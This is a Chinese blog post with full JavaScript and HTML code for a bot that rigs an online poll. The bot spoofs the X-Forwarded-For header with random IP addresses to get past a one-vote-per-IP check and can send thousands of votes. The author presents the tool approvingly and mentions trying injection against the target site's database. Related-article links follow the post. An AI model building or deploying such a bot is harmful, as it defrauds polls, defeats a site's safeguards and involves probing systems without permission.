帮朋友忙网络投票,粗粗地看了下,投票没有什么限制,仅有一个ip校验:每天每个ip仅能投票一次。

也就是说,可以写一个程序,自动更换IP地址(伪造IP地址),实现批量刷票的目的。于是我写了一个投票机器人。。。

解决办法

1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");

以下代码用于生成随机IP地址:

function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}

2、网络投票全代码,投票地址已经隐去:

<span style="font-size: small;"><span style="line-height: 18px;"><script>
function CreateXMLHttp2(){
var xmlhttp=null; if (window.XMLHttpRequest)
{ xmlhttp = new XMLHttpRequest(); }
if (!xmlhttp&&window.ActiveXObject)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")
}
catch(e)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")
}
catch(e)
{
try {
new ActiveXObject("Msxml2.XMLHTTP")
}
catch(e)
{
try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
}
}
}
}
if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
} var g_i=0;
var timer;
function $(obj){
return document.getElementById(obj);
} function onSearch(){
var g_xmlhttp=CreateXMLHttp2(); if (!g_xmlhttp){
alert("你的浏览器不支持ajax");
return;
}
var idVal = $("id").value;
var sendData="id="+idVal;
var fakeIP=getRandomIp(); var total = $("total").value;
var intervalTime = $("intervalTime").value;
var timeRemain = (total-g_i)*intervalTime/1000;
$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>";
//alert(fakeIP);return ;
try{
g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//伪造ip的属性
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
if(++g_i<total){
timer = setTimeout("onSearch()",intervalTime);
}
if(g_i >= total){
alert("本次投票完成");
}
}
}
g_xmlhttp.send(sendData);
}catch(e){ }
} function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br /> <input id="ip" type="hidden" value="124.22.11." />
<br />
投票间隔(单位毫秒):
<input id="intervalTime" type="text" value="200" />
<br />
投票总数:
<input id="total" type="text" value="10000" />
</br>
投票ID:
<input id="id" type="text" value="77" />
</br>
<input id="search" type="button" onclick="startInit();onSearch();"
value="开始" />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input id="search" type="button" onclick="stopSearch();" value="停止" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>
</span></span>

需要注意的是,不能投票太快,投票时间要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。

希望这个例子对大家有所启发。

【我们开发有力量之二】利用javascript制作批量网络投票机器人(自动改IP)的更多相关文章

  1. 一步步教你如何在ubuntu虚拟机中安装QEMU并模拟arm 开发环境(二)rootfs制作

    过了,一天,周又到了,博主终于可以拿出时间来把上一次没有给大家展示完了的内容今天在这里一并展示给大家,希望和大家共同进步,共同学习,同时我也虔诚的希望各位业界的朋友把自己的工作经验拿出来大家一起分享, ...

  2. 利用Javascript制作网页特效(其他常见特效)

    设置为首页和加入收藏夹 ①:在body标签内输入以下代码: <a onclick="this.style.behavior='url(#default#homepage)'; this ...

  3. 利用Javascript制作网页特效(窗口特效)

    全屏显示窗口 利用fullscreen=yes可以制作全屏显示窗口. ①:在body标签内输入以下代码: <div align="center"> <input ...

  4. 利用Javascript制作网页特效(图像特效)

    图像是文本的解释和说明,在网页中的适当位置放置一些图像,不仅可以使文本更加容易阅读,而且可以使网页更加具有吸引力. 当鼠标指针经过图像时图像振动效果 ①:在head标签内输入以下代码: <sty ...

  5. 利用Javascript制作网页特效(时间特效)

    在网页中经常可以看到各种各样的动态时间显示,在网页中合理地使用时间可以增加网页的时效感. 显示当前时间 getHours().getMinutes().getSeconds()分别获得当前小时数.当前 ...

  6. 利用JavaScript制作计算器

    <html> <head> <meta charset="utf-8"> <title>无标题文档</title> &l ...

  7. 利用JavaScript制作简易日历

    <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <met ...

  8. 利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片

    利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片.代码如下 import java.awt.Color;import java.io.File;import java.util.H ...

  9. 利用javascript:void(0)制作假的提交按钮替代button

    在写html页面,我们很自然的在表单提交的地方采用button来作为提交按钮,但是,用<button type=”button”>按钮</button>作为提交代码会有个问题, ...

随机推荐

  1. Linux基础五(系统管理)

    Linux 系统管理 1. 进程管理 1.1 进程管理简介 进程的简介: 一个程序在运行的时候会占用系统的资源,即系统分配资源给某个程序使用,进程就是正在运行中的某个程序或者命令.进程又可以细分为线程 ...

  2. 分离链表法散列ADT

    分离链表法解决冲突的散列表ADT实现 数据结构定义如下: struct ListNode; typedef struct ListNode *Position; struct HashTbl; typ ...

  3. MSSQL给字段添加默认值

    create table t(id int,v int ) go alter table t ADD DEFAULT 0 FOR v go

  4. ORACLE:一列的多行数据拼成字符串

    查询表中的一个字段,返回了多行,就把这么多行的数据都拼成一个字符串. 例:   id  name        1   aa        2   bb        3   cc 要的结果是&quo ...

  5. Vue.js——60分钟browserify项目模板快速入门

    概述 在之前的一系列vue.js文章,我们都是用传统模式引用vue.js以及其他的js文件的,这在开发时会产生一些问题. 首先,这限定了我们的开发模式是基于页面的,而不是基于组件的,组件的所有代码都直 ...

  6. 利用stream对map集合进行过滤

    最近公司在大张旗鼓的进行代码审核,从中也发现自己写代码的不好习惯.一次无意的点到了公司封装的对map集合过滤的方法,发现了stream.于是研究了一下.并对原有的代码再次结合Optional进行重构下 ...

  7. rpc 协议规范 之 rmi http webservice 和 一些框架

    RPC(Remote Procedure Call)是远程调用,是一种思想,也是一种协议规范.简单地说就是能使应用像调用本地方法一样的调用远程的过程或服务,可以应用在分布式服务.分布式计算.远程服务调 ...

  8. [POJ1704]Georgia and Bob 博弈论

    从这开始我们来进入做题环节!作为一个较为抽象的知识点,博弈论一定要结合题目才更显魅力.今天,我主要介绍一些经典的题目,重点是去理解模型的转化,sg函数的推理和证明.话不多说,现在开始! Georgia ...

  9. 【刷题】BZOJ 2243 [SDOI2011]染色

    Description 给定一棵有n个节点的无根树和m个操作,操作有2类: 1.将节点a到节点b路径上所有点都染成颜色c: 2.询问节点a到节点b路径上的颜色段数量(连续相同颜色被认为是同一段), 如 ...

  10. Linux中的防火墙----iptables

    防火墙,它是一种位于内部网络与外部网络之间的网络安全系统.一项信息安全的防护系统,依照特定的规则,允许或是限制传输的数据通过. 防火墙根据主要的功能可分为网络层防火墙.应用层防火墙.数据库防火墙. 网 ...